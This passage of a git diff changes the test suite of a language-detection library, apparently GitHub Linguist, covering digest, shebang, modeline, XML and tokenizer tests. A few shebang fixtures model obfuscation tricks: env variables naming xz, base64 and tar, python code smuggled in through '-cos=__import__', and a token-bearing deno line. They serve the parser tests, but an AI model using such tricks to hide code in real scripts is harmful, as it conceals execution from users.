+      assert_equal "e0ca0f6a274c6cc8e07fce6cf58cd2feef978928cad1c0760b6c3b8a865eafaf", SHA256.hexdigest([1])
+      assert_equal "46b40ee5dcee74020fd75532659329e2a01b8cd74727218966c40cd1b4a54dab", SHA256.hexdigest([1, 2])
+      assert_equal "0c950e57182b6830a3f4da3388fa7e3e5ec879277847c20b941f5a0144ba53a7", SHA256.hexdigest([1, 2, 3])
+      assert_equal "0ef88eec0c680d3860c0001c6beb4407559d61db85744e088436a21d72425b4f", SHA256.hexdigest([1, 2, [3]])
+    else
+      assert_equal "87d177e40c167e5ce164081297c788c36540aa8f9cc05a0d1d3abfa577b56886", SHA256.hexdigest([1])
+      assert_equal "c8189462e4785c786b96c8d29ecfa7c030010700dd1dfb194b84b37c50981feb", SHA256.hexdigest([1, 2])
+      assert_equal "7edd426189105eede4954333ce40d96ff850ca86aa48e15b58cd017aab52c712", SHA256.hexdigest([1, 2, 3])
+      assert_equal "b0f08d52b5efd5c44dc47965733ff8baac34db05abf2620a1f71c0fc0a7e42d2", SHA256.hexdigest([1, 2, [3]])
+    end
+  end
+
+  def test_hexdigest_hash
+    assert_equal "a91069147f9bd9245cdacaef8ead4c3578ed44f179d7eb6bd4690e62ba4658f2", SHA256.hexdigest({})
+    # Ruby 2.4.0 merged Bignum and Fixnum into Integer which means we get different digests
+    if Gem::Version.new(RUBY_VERSION) >= Gem::Version.new("2.4.0")
+      assert_equal "124c84e8bf1fe4be4d2c3e5d79522972f390dbf6031dd8ba7029793f2fec0ef7", SHA256.hexdigest({:a => 1})
+      assert_equal "8a1c987468032f979d4a7d4eeb5049bfe0aa04acea54a4456888e2898dd1c532", SHA256.hexdigest({:b => 2})
+    else
+      assert_equal "7ae6ddefc4ec3fca1ca84794904144cdc99ca24444fcb44c05c0f269af8c8840", SHA256.hexdigest({:a => 1})
+      assert_equal "484ca3e0efd43e7d650189150751512a3c985957f4c15b52da0bb12d72b3dcaa", SHA256.hexdigest({:b => 2})
+    end
+
+    refute_equal SHA256.hexdigest([:b, 2]), SHA256.hexdigest({:b => 2})
+
+    assert_equal SHA256.hexdigest({:b => 2, :a => 1}), SHA256.hexdigest({:a => 1, :b => 2})
+    assert_equal SHA256.hexdigest({:c => 3, :b => 2, :a => 1}), SHA256.hexdigest({:a => 1, :b => 2, :c => 3})
+  end
+end
diff --git a/test/test_shebang.rb b/test/test_shebang.rb
deleted file mode 100644
index de3344ec43..0000000000
--- a/test/test_shebang.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-require_relative "./helper"
-
-class TestShebang < Minitest::Test
-  include Linguist
-
-  def assert_interpreter(interpreter, body)
-    assert_equal interpreter, Shebang.interpreter(body)
-  end
-
-  def test_shebangs
-    assert_interpreter nil, ""
-    assert_interpreter nil, "foo"
-    assert_interpreter nil, "#bar"
-    assert_interpreter nil, "#baz"
-    assert_interpreter nil, "///"
-    assert_interpreter nil, "\n\n\n\n\n"
-    assert_interpreter nil, " #!/usr/sbin/ruby"
-    assert_interpreter nil, "\n#!/usr/sbin/ruby"
-    assert_interpreter nil, "#!"
-    assert_interpreter nil, "#! "
-    assert_interpreter nil, "#!/usr/bin/env"
-
-    assert_interpreter "ruby", "#!/usr/sbin/ruby\n# bar"
-    assert_interpreter "ruby", "#!/usr/bin/ruby\n# foo"
-    assert_interpreter "ruby", "#!/usr/sbin/ruby"
-    assert_interpreter "ruby", "#!/usr/sbin/ruby foo bar baz\n"
-
-    assert_interpreter "Rscript", "#!/usr/bin/env Rscript\n# example R script\n#\n"
-    assert_interpreter "crystal", "#!/usr/bin/env bin/crystal"
-    assert_interpreter "ruby", "#!/usr/bin/env ruby\n# baz"
-
-    assert_interpreter "bash", "#!/usr/bin/bash\n"
-    assert_interpreter "sh", "#!/bin/sh"
-    assert_interpreter "python", "#!/bin/python\n# foo\n# bar\n# baz"
-    assert_interpreter "python2", "#!/usr/bin/python2.7\n\n\n\n"
-    assert_interpreter "python3", "#!/usr/bin/python3\n\n\n\n"
-    assert_interpreter "sbcl", "#!/usr/bin/sbcl --script\n\n"
-    assert_interpreter "perl", "#! perl"
-
-    assert_interpreter "ruby", "#!/bin/sh\n\n\nexec ruby $0 $@"
-
-    assert_interpreter "sh", "#! /usr/bin/env A=003 B=149 C=150 D=xzd E=base64 F=tar G=gz H=head I=tail sh"
-  end
-end
diff --git a/test/test_strategies.rb b/test/test_strategies.rb
new file mode 100644
index 0000000000..b57ae907e6
--- /dev/null
+++ b/test/test_strategies.rb
@@ -0,0 +1,199 @@
+require_relative "./helper"
+
+class TestStrategies < Minitest::Test
+  include Linguist
+
+  def assert_modeline(language, blob)
+    if language.nil?
+      assert_nil Linguist::Strategy::Modeline.call(blob).first
+    else
+      assert_equal language, Linguist::Strategy::Modeline.call(blob).first
+    end
+  end
+
+  def assert_interpreter(interpreter, body)
+    if interpreter.nil?
+      assert_nil Shebang.interpreter(body)
+    else
+      assert_equal interpreter, Shebang.interpreter(body)
+    end
+  end
+
+  def file_blob(name)
+    path = File.exist?(name) ? name : File.join(samples_path, name)
+    FileBlob.new(path)
+  end
+
+  def all_xml_fixtures(file="*")
+    fixs = Dir.glob("#{samples_path}/XML/#{file}") -
+             ["#{samples_path}/XML/demo.hzp"] -
+             ["#{samples_path}/XML/psd-data.xmp"] -
+             ["#{samples_path}/XML/filenames"]
+    fixs.reject { |f| File.symlink?(f) }
+  end
+
+  def assert_manpage(blob)
+    languages = Linguist::Strategy::Manpage.call(blob)
+    assert_equal Language["Roff Manpage"], languages[0], "#{blob} not detected as manpage"
+    assert_equal Language["Roff"], languages[1], "#{blob} should include Roff as candidate language"
+  end
+
+  def assert_xml(blob)
+    language = Linguist::Strategy::XML.call(file_blob(blob)).first
+    assert_equal Language["XML"], language, "#{blob} not detected as XML"
+  end
+
+  def assert_all_xml(blobs)
+    Array(blobs).each do |blob|
+      assert_xml blob
+    end
+  end
+
+  def test_manpage_strategy
+    assert_manpage fixture_blob("Data/Manpages/bsdmalloc.3malloc")
+    assert_manpage fixture_blob("Data/Manpages/dirent.h.0p")
+    assert_manpage fixture_blob("Data/Manpages/linguist.1gh")
+    assert_manpage fixture_blob("Data/Manpages/test.1.in")
+    assert_manpage fixture_blob("Data/Manpages/test.2.in")
+    assert_manpage fixture_blob("Data/Manpages/test.3.in")
+    assert_manpage fixture_blob("Data/Manpages/test.4.in")
+    assert_manpage fixture_blob("Data/Manpages/test.5.in")
+    assert_manpage fixture_blob("Data/Manpages/test.6.in")
+    assert_manpage fixture_blob("Data/Manpages/test.7.in")
+    assert_manpage fixture_blob("Data/Manpages/test.8.in")
+    assert_manpage fixture_blob("Data/Manpages/test.9.in")
+    assert_manpage fixture_blob("Data/Manpages/test.man.in")
+    assert_manpage fixture_blob("Data/Manpages/test.mdoc.in")
+  end
+
+  def test_modeline_strategy
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby2")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby3")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby4")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby5")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby6")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby7")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby8")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby9")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby10")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby11")
+    assert_modeline Language["Ruby"], fixture_blob("Data/Modelines/ruby12")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplus")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs1")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs2")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs3")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs4")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs5")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs6")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs7")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs8")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs9")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs10")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs11")
+    assert_modeline Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs12")
+    assert_modeline Language["Text"], fixture_blob("Data/Modelines/fundamentalEmacs.c")
+    assert_modeline Language["Prolog"], fixture_blob("Data/Modelines/not_perl.pl")
+    assert_modeline Language["Smalltalk"], fixture_blob("Data/Modelines/example_smalltalk.md")
+    assert_modeline Language["JavaScript"], fixture_blob("Data/Modelines/iamjs.pl")
+    assert_modeline Language["JavaScript"], fixture_blob("Data/Modelines/iamjs2.pl")
+    assert_modeline Language["PHP"], fixture_blob("Data/Modelines/iamphp.inc")
+    assert_modeline nil, sample_blob("C++/runtime-compiler.cc")
+  end
+
+  def test_modeline_languages
+    assert_equal Language["Ruby"], fixture_blob("Data/Modelines/ruby").language
+    assert_equal Language["Ruby"], fixture_blob("Data/Modelines/ruby2").language
+    assert_equal Language["Ruby"], fixture_blob("Data/Modelines/ruby3").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplus").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs1").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs2").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs3").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs4").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs5").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs6").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs7").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs8").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs9").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs10").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs11").language
+    assert_equal Language["C++"], fixture_blob("Data/Modelines/seeplusplusEmacs12").language
+    assert_equal Language["Text"], fixture_blob("Data/Modelines/fundamentalEmacs.c").language
+    assert_equal Language["Prolog"], fixture_blob("Data/Modelines/not_perl.pl").language
+    assert_equal Language["Smalltalk"], fixture_blob("Data/Modelines/example_smalltalk.md").language
+    assert_equal Language["JavaScript"], fixture_blob("Data/Modelines/iamjs.pl").language
+    assert_equal Language["JavaScript"], fixture_blob("Data/Modelines/iamjs2.pl").language
+    assert_equal Language["PHP"], fixture_blob("Data/Modelines/iamphp.inc").language
+  end
+
+  def test_shebangs
+    assert_interpreter nil, ""
+    assert_interpreter nil, "foo"
+    assert_interpreter nil, "#bar"
+    assert_interpreter nil, "#baz"
+    assert_interpreter nil, "///"
+    assert_interpreter nil, "\n\n\n\n\n"
+    assert_interpreter nil, " #!/usr/sbin/ruby"
+    assert_interpreter nil, "\n#!/usr/sbin/ruby"
+    assert_interpreter nil, "#!"
+    assert_interpreter nil, "#! "
+    assert_interpreter nil, "#!/usr/bin/env"
+    assert_interpreter nil, "#!/usr/bin/env osascript -l JavaScript"
+    assert_interpreter nil, "#!/usr/bin/env osascript -l AppleScript"
+    assert_interpreter nil, "#!/usr/bin/env osascript -l foobar"
+    assert_interpreter nil, "#!/usr/bin/osascript -l JavaScript"
+    assert_interpreter nil, "#!/usr/bin/osascript -l foobar"
+
+    assert_interpreter "ruby", "#!/usr/sbin/ruby\n# bar"
+    assert_interpreter "ruby", "#!/usr/bin/ruby\n# foo"
+    assert_interpreter "ruby", "#!/usr/sbin/ruby"
+    assert_interpreter "ruby", "#!/usr/sbin/ruby foo bar baz\n"
+
+    assert_interpreter "Rscript", "#!/usr/bin/env Rscript\n# example R script\n#\n"
+    assert_interpreter "crystal", "#!/usr/bin/env bin/crystal"
+    assert_interpreter "ruby", "#!/usr/bin/env ruby\n# baz"
+
+    assert_interpreter "bash", "#!/usr/bin/bash\n"
+    assert_interpreter "sh", "#!/bin/sh"
+    assert_interpreter "python", "#!/bin/python\n# foo\n# bar\n# baz"
+    assert_interpreter "python2", "#!/usr/bin/python2.7\n\n\n\n"
+    assert_interpreter "python3", "#!/usr/bin/python3\n\n\n\n"
+    assert_interpreter "sbcl", "#!/usr/bin/sbcl --script\n\n"
+    assert_interpreter "perl", "#! perl"
+
+    assert_interpreter "ruby", "#!/bin/sh\n\n\nexec ruby $0 $@"
+
+    assert_interpreter "sh", "#! /usr/bin/env A=003 B=149 C=150 D=xzd E=base64 F=tar G=gz H=head I=tail sh"
+    assert_interpreter "python", "#!/usr/bin/env foo=bar bar=foo python -cos=__import__(\"os\");"
+    assert_interpreter "osascript", "#!/usr/bin/env osascript"
+    assert_interpreter "osascript", "#!/usr/bin/osascript"
+
+    assert_interpreter "ruby", "#!/usr/bin/env -vS ruby -wKU\nputs ?t+?e+?s+?t"
+    assert_interpreter "sed", "#!/usr/bin/env --split-string sed -f\ny/a/A/"
+    assert_interpreter "deno", "#!/usr/bin/env -S GH_TOKEN=ghp_*** deno run --allow-net\nconsole.log(1);"
+  end
+
+  def test_xml
+    no_root_tag = [
+      "#{samples_path}/XML/libsomething.dll.config",
+      "#{samples_path}/XML/real-estate.mjml",
+      "#{samples_path}/XML/XmlIO.pluginspec",
+      "#{samples_path}/XML/MainView.ux",
+      "#{samples_path}/XML/MyApp.ux",
+      "#{samples_path}/XML/xhtml-struct-1.mod",
+      "#{samples_path}/XML/wixdemo.wixproj",
+      "#{samples_path}/XML/msbuild-example.proj",
+      "#{samples_path}/XML/sample.targets",
+      "#{samples_path}/XML/Default.props",
+      "#{samples_path}/XML/racoon.mjml",
+      "#{samples_path}/XML/some-ideas.mm",
+      "#{samples_path}/XML/GMOculus.project.gmx",
+      "#{samples_path}/XML/obj_control.object.gmx",
+      "#{samples_path}/XML/MainView.axaml"
+    ]
+    assert_all_xml all_xml_fixtures("*") - no_root_tag
+
+    assert_xml "test/fixtures/XML/app.config"
+    assert_xml "test/fixtures/XML/AssertionIDRequestOptionalAttributes.xml.svn-base"
+  end
+end
diff --git a/test/test_tokenizer.rb b/test/test_tokenizer.rb
index b8b486cb0d..c214f5d2d2 100644
--- a/test/test_tokenizer.rb
+++ b/test/test_tokenizer.rb
@@ -14,15 +14,15 @@ def test_skip_string_literals
     assert_equal %w(print), tokenize("print 'Josh'")
     assert_equal %w(print), tokenize('print "Hello \"Josh\""')
     assert_equal %w(print), tokenize("print 'Hello \\'Josh\\''")
-    assert_equal %w(print), tokenize("print \"Hello\", \"Josh\"")
-    assert_equal %w(print), tokenize("print 'Hello', 'Josh'")
-    assert_equal %w(print), tokenize("print \"Hello\", \"\", \"Josh\"")
-    assert_equal %w(print), tokenize("print 'Hello', '', 'Josh'")
+    assert_equal %w(print ,), tokenize("print \"Hello\", \"Josh\"")
+    assert_equal %w(print ,), tokenize("print 'Hello', 'Josh'")
+    assert_equal %w(print , ,), tokenize("print \"Hello\", \"\", \"Josh\"")
+    assert_equal %w(print , ,), tokenize("print 'Hello', '', 'Josh'")
   end
 
   def test_skip_number_literals
     assert_equal %w(+), tokenize('1 + 1')
-    assert_equal %w(add \( \)), tokenize('add(123, 456)')
+    assert_equal %w(add \( , \)), tokenize('add(123, 456)')
     assert_equal %w(|), tokenize('0x01 | 0x10')
     assert_equal %w(*), tokenize('500.42 * 1.0')
     assert_equal %w(), tokenize('1.23e-04')
@@ -31,60 +31,244 @@ def test_skip_number_literals
     assert_equal %w(G1 X55 Y5 F2000), tokenize('G1 X55 Y5 F2000')
   end
 
-  def test_skip_comments
-    assert_equal %w(foo), tokenize("foo\n# Comment")
-    assert_equal %w(foo bar), tokenize("foo\n# Comment\nbar")
-    assert_equal %w(foo), tokenize("foo\n// Comment")
-    assert_equal %w(foo), tokenize("foo\n-- Comment")
-    assert_equal %w(foo), tokenize("foo\n\" Comment")
-    assert_equal %w(foo), tokenize("foo /* Comment */")
-    assert_equal %w(foo), tokenize("foo /* \nComment\n */")
-    assert_equal %w(foo), tokenize("foo <!-- Comment -->")
-    assert_equal %w(foo), tokenize("foo {- Comment -}")
-    assert_equal %w(foo), tokenize("foo (* Comment *)")
-    assert_equal %w(%), tokenize("2 % 10\n% Comment")
-    assert_equal %w(foo bar), tokenize("foo\n\"\"\"\nComment\n\"\"\"\nbar")
-    assert_equal %w(foo bar), tokenize("foo\n'''\nComment\n'''\nbar")
+  def test_comments
+    assert_equal %w(COMMENT#), tokenize("#\n")
+    assert_equal %w(COMMENT#), tokenize("##\n")
+    assert_equal %w(foo COMMENT#), tokenize("foo\n# Comment")
+    assert_equal %w(foo COMMENT#), tokenize("foo\n## Comment")
+    assert_equal %w(foo COMMENT# bar), tokenize("foo\n# Comment\nbar")
+
+    assert_equal %w(COMMENT//), tokenize("//\n")
+    assert_equal %w(COMMENT//), tokenize("///\n")
+    assert_equal %w(foo COMMENT//), tokenize("foo\n// Comment")
+    assert_equal %w(foo COMMENT//), tokenize("foo\n/// Comment")
+    assert_equal %w(foo COMMENT//!), tokenize("foo\n//! Comment")
+    assert_equal %w(COMMENT//), tokenize("//***\n")
+
+    assert_equal %w(COMMENT--), tokenize("--\n")
+    assert_equal %w(foo COMMENT--), tokenize("foo\n-- Comment")
+
+    assert_equal %w(COMMENT"), tokenize("\"\n")
+    assert_equal %w(foo COMMENT"), tokenize("foo\n\" Comment")
+
+    assert_equal %w(COMMENT;), tokenize(";\n")
+    assert_equal %w(COMMENT;), tokenize(";;\n")
+    assert_equal %w(foo COMMENT;), tokenize("foo\n; Comment")
+    assert_equal %w(foo COMMENT;), tokenize("foo\n;; Comment")
+
+    assert_equal %w(foo COMMENT/*), tokenize("foo /* Comment */")
+    assert_equal %w(foo COMMENT/*), tokenize("foo /*Comment*/")
+    assert_equal %w(foo COMMENT/*), tokenize("foo /* \nComment\n */")
+    assert_equal %w(foo COMMENT/**), tokenize("foo /** Comment */")
+    assert_equal %w(foo COMMENT/**), tokenize("foo /**Comment*/")
+    assert_equal %w(foo COMMENT/*!), tokenize("foo /*! Comment */")
+    assert_equal %w(foo COMMENT/*!), tokenize("foo /*!Comment*/")
+    assert_equal %w(COMMENT/*), tokenize("/**/")
+    assert_equal %w(COMMENT/*), tokenize("/*\n*\n*/")
+    assert_equal %w(COMMENT/**), tokenize("/***/")
+    assert_equal %w(COMMENT/**), tokenize("/****/")
+    assert_equal %w(COMMENT/*!), tokenize("/*!*/")
+
+    assert_equal %w(foo COMMENT<!--), tokenize("foo <!-- Comment -->")
+    assert_equal %w(foo COMMENT<!--), tokenize("foo <!--Comment-->")
+    assert_equal %w(foo COMMENT<!--), tokenize("foo<!--Comment-->")
+    assert_equal %w(foo COMMENT<!--), tokenize("foo<!---->")
+
+    assert_equal %w(foo COMMENT{-), tokenize("foo {- Comment -}")
+    assert_equal %w!foo COMMENT(*!, tokenize("foo (* Comment *)")
+
+    assert_equal %w(COMMENT%), tokenize("%\n")
+    assert_equal %w(COMMENT%), tokenize("%%\n")
+    assert_equal %w(% COMMENT%), tokenize("2 % 10\n% Comment")
+
+    assert_equal %w(foo COMMENT""" bar), tokenize("foo\n\"\"\"\nComment\n\"\"\"\nbar")
+    assert_equal %w(foo COMMENT''' bar), tokenize("foo\n'''\nComment\n'''\nbar")
+
+    # Lean comments
+    assert_equal %w(foo COMMENT/-), tokenize("foo /- Comment -/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /-Comment-/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /- \nComment\n -/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /-\nComment\n-/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /-- Comment -/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /--Comment-/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /--\nComment\n-/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /-! Comment -/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /-!Comment-/")
+    assert_equal %w(foo COMMENT/-), tokenize("foo /-!\nComment\n-/")
+    assert_equal %w(foo COMMENT/- bar), tokenize("foo /-\nComment\n-/ bar")
+    assert_equal %w(foo COMMENT/- bar), tokenize("foo /-\nComment\n-/\nbar")
+    assert_equal %w(foo COMMENT/- bar), tokenize("foo\n/-\nComment\n-/\nbar")
+    # Nested comments are not processed correctly as it's rarely used and adds unnecessary complexity
+    assert_equal %w(foo COMMENT/- comment), tokenize("foo /- Comment /- Still Comment /- And Still Comment -/ comment")
+    assert_equal %w(foo COMMENT/- comment3 - / bar), tokenize("foo /- comment1 /- comment2 -/ comment3 -/ bar")
+    assert_equal %w(COMMENT/-), tokenize("/-\n*\n-/")
+    assert_equal %w(COMMENT/-), tokenize("/-*-/")
+    assert_equal %w(COMMENT/-), tokenize("/-**-/")
+    assert_equal %w(COMMENT/-), tokenize("/-!-/")
+    assert_equal %w(COMMENT/-), tokenize("/--/ -/")
+
+    # Roff comments
+    assert_equal %w(COMMENT.\\" bar), tokenize(".\\\" foo\nbar")
+    assert_equal %w(COMMENT.\\" bar), tokenize(". \\\" foo\nbar")
+    assert_equal %w(COMMENT'\\" bar), tokenize("'\\\" foo\nbar")
+    assert_equal %w(COMMENT'\\" bar), tokenize("' \\\" foo\nbar")
+    assert_equal %w(COMMENT.ig), tokenize(".ig\nComment\n..")
+
+    # DIGITAL Command Language comments
+    assert_equal %w(COMMENT$!), tokenize("$! Foo")
+
+    # Easily mistaken with comment
+    assert_equal %w(* /), tokenize("1 */ 2")
   end
 
   def test_sgml_tags
-    assert_equal %w(<html> </html>), tokenize("<html></html>")
-    assert_equal %w(<div> id </div>), tokenize("<div id></div>")
-    assert_equal %w(<div> id= </div>), tokenize("<div id=foo></div>")
-    assert_equal %w(<div> id class </div>), tokenize("<div id class></div>")
-    assert_equal %w(<div> id= </div>), tokenize("<div id=\"foo bar\"></div>")
-    assert_equal %w(<div> id= </div>), tokenize("<div id='foo bar'></div>")
-    assert_equal %w(<?xml> version=), tokenize("<?xml version=\"1.0\"?>")
+    assert_equal %w(< html ></ html >), tokenize("<html></html>")
+    assert_equal %w(< div id ></ div >), tokenize("<div id></div>")
+    assert_equal %w(< div id = foo ></ div >), tokenize("<div id=foo></div>")
+    assert_equal %w(< div id class ></ div >), tokenize("<div id class></div>")
+    assert_equal %w(< div id = ></ div >), tokenize("<div id=\"foo bar\"></div>")
+    assert_equal %w(< div id = ></ div >), tokenize("<div id='foo bar'></div>")
+    assert_equal %w(<? xml version = ?>), tokenize("<?xml version=\"1.0\"?>")
+    assert_equal %w(<! DOCTYPE html >), tokenize("<!DOCTYPE html>")
+    assert_equal %w(< a >), tokenize("<a>")
+  end
+
+  def test_freemarker_tags
+    assert_equal %w(<# a > b </# a >), tokenize("<#a>b</#a>")
+    assert_equal %w(<@ a > b </@ a >), tokenize("<@a>b</@a>")
   end
 
   def test_operators
     assert_equal %w(+), tokenize("1 + 1")
+    assert_equal %w(+), tokenize("1+1")
     assert_equal %w(-), tokenize("1 - 1")
+    assert_equal %w(-), tokenize("1-1")
     assert_equal %w(*), tokenize("1 * 1")
+    assert_equal %w(*), tokenize("1*1")
+    assert_equal %w(a ** b), tokenize("a ** b")
+    assert_equal %w(**), tokenize("1**2")
+    assert_equal %w(a ** b), tokenize("a**b")
     assert_equal %w(/), tokenize("1 / 1")
+    assert_equal %w(/), tokenize("1/1")
+    assert_equal %w(//), tokenize("1 // 1")
+    assert_equal %w(//), tokenize("1//1")
     assert_equal %w(%), tokenize("2 % 5")
+    assert_equal %w(%), tokenize("2%5")
     assert_equal %w(&), tokenize("1 & 1")
+    assert_equal %w(&), tokenize("1&1")
     assert_equal %w(&&), tokenize("1 && 1")
+    assert_equal %w(&&), tokenize("1&&1")
     assert_equal %w(|), tokenize("1 | 1")
+    assert_equal %w(|), tokenize("1|1")
     assert_equal %w(||), tokenize("1 || 1")
+    assert_equal %w(||), tokenize("1||1")
     assert_equal %w(<), tokenize("1 < 0x01")
+    assert_equal %w(<), tokenize("1<0x01")
     assert_equal %w(<<), tokenize("1 << 0x01")
+    assert_equal %w(<<), tokenize("1<<0x01")
+    assert_equal %w(<<<), tokenize("1 <<< 0x01")
+    assert_equal %w(<<<), tokenize("1<<<0x01")
+    assert_equal %w(>), tokenize("1 > 0x01")
+    assert_equal %w(>), tokenize("1>0x01")
+    assert_equal %w(>>), tokenize("1 >> 0x01")
+    assert_equal %w(>>), tokenize("1>>0x01")
+    assert_equal %w(>>>), tokenize("1 >>> 0x01")
+    assert_equal %w(>>>), tokenize("1>>>0x01")
+    assert_equal %w(a --), tokenize("a--")
+    assert_equal %w(a ++), tokenize("a++")
+    assert_equal %w(-- a), tokenize("--a")
+    assert_equal %w(++ a), tokenize("++a")
+    assert_equal %w(a -> b), tokenize("a -> b")
+    assert_equal %w(a -> b), tokenize("a->b")
+    assert_equal %w(a --> b), tokenize("a --> b")
+    assert_equal %w(a --> b), tokenize("a-->b")
+
+    assert_equal %w(a <- b), tokenize("a <- b")
+    assert_equal %w(a <- b), tokenize("a<-b")
+    assert_equal %w(a <-- b), tokenize("a <-- b")
+    assert_equal %w(a <-- b), tokenize("a<--b")
+
+    assert_equal %w(a = b), tokenize("a = b")
+    assert_equal %w(a = b), tokenize("a=b")
+    assert_equal %w(a == b), tokenize("a == b")
+    assert_equal %w(a == b), tokenize("a==b")
+    assert_equal %w(a === b), tokenize("a === b")
+    assert_equal %w(a === b), tokenize("a===b")
+    assert_equal %w(a !== b), tokenize("a !== b")
+    assert_equal %w(a !== b), tokenize("a!==b")
+    assert_equal %w(a >= b), tokenize("a>=b")
+    assert_equal %w(a <= b), tokenize("a<=b")
+    assert_equal %w(a <> b), tokenize("a<>b")
+    assert_equal %w(a ^ b), tokenize("a ^ b")
+    assert_equal %w(a ^ b), tokenize("a^b")
+    assert_equal %w(~ a), tokenize("~a")
+
+    assert_equal %w(a := b), tokenize("a:=b")
+    assert_equal %w(a :== b), tokenize("a:==b")
+    assert_equal %w(a += b), tokenize("a+=b")
+    assert_equal %w(a -= b), tokenize("a-=b")
+    assert_equal %w(a *= b), tokenize("a*=b")
+    assert_equal %w(a /= b), tokenize("a/=b")
+    assert_equal %w(a %= b), tokenize("a%=b")
+    assert_equal %w(a ^= b), tokenize("a^=b")
+    assert_equal %w(a &= b), tokenize("a&=b")
+    assert_equal %w(a |= b), tokenize("a|=b")
+    assert_equal %w(a ~= b), tokenize("a~=b")
+    assert_equal %w(a =~ b), tokenize("a=~b")
+    assert_equal %w(a !~ b), tokenize("a!~b")
+
+    # Regexps/Globs
+    assert_equal %w(.*), tokenize(".*")
+    assert_equal %w(.*?), tokenize(".*?")
+    assert_equal %w(.**), tokenize(".**")
+    assert_equal %w(.+), tokenize(".+")
+    assert_equal %w(.+?), tokenize(".+?")
+    assert_equal %w(.++), tokenize(".++")
+    assert_equal %w((?: a )), tokenize("(?:a)")
+
+    assert_equal %w([[ a ]]), tokenize("[[a]]")
+    assert_equal %w([[ a ]]), tokenize("[[ a ]]")
+
+    # Edge cases
+    assert_equal %w(- ! # $ % & * + , . : ; <=>), tokenize("-!#$%&*+,.:;<=>")
+    assert_equal %w(- ! # $ % & ? @ \\ ^ _ ` | ~), tokenize("-!#$%&?@\\^_`|~")
+    assert_equal %w(- ! # $ % & * + , . : ; <=>), tokenize("-!#$%&*+,.:;<=>")
+    assert_equal %w(- / ! # $ % & * + , . : ; <>), tokenize("-/!#$%&*+,.:;<>")
   end
 
   def test_c_tokens
-    assert_equal %w(#ifndef HELLO_H #define HELLO_H void hello \( \) ; #endif), tokenize(:"C/hello.h")
-    assert_equal %w(#include <stdio.h> int main \( \) { printf \( \) ; return ; }), tokenize(:"C/hello.c")
+    assert_equal %w(#ifndef HELLO_H #define HELLO_H void hello \(\) ; #endif), tokenize(:"C/hello.h")
+    assert_equal %w(#include < stdio .h > int main \(\) { printf \( \) ; return ; }), tokenize(:"C/hello.c")
   end
 
   def test_cpp_tokens
-    assert_equal %w(class Bar { protected char *name ; public void hello \( \) ; }), tokenize(:"C++/bar.h")
-    assert_equal %w(#include <iostream> using namespace std ; int main \( \) { cout << << endl ; }), tokenize(:"C++/hello.cpp")
+    assert_equal %w(class Bar { protected : char * name ; public : void hello \(\) ; }), tokenize(:"C++/bar.h")
+    assert_equal %w(#include < iostream > using namespace std ; int main \(\) { cout << << endl ; }), tokenize(:"C++/hello.cpp")
+  end
+
+  def test_lua_tokens
+    assert_equal %w({...}), tokenize("{...}")
   end
 
   def test_objective_c_tokens
-    assert_equal %w(#import <Foundation/Foundation.h> @interface Foo NSObject { } @end), tokenize(:"Objective-C/Foo.h")
+    assert_equal %w(#import < Foundation / Foundation .h > @interface Foo : NSObject { } @end), tokenize(:"Objective-C/Foo.h")
     assert_equal %w(#import @implementation Foo @end), tokenize(:"Objective-C/Foo.m")
-    assert_equal %w(#import <Cocoa/Cocoa.h> int main \( int argc char *argv [ ] \) { NSLog \( @ \) ; return ; }), tokenize(:"Objective-C/hello.m")
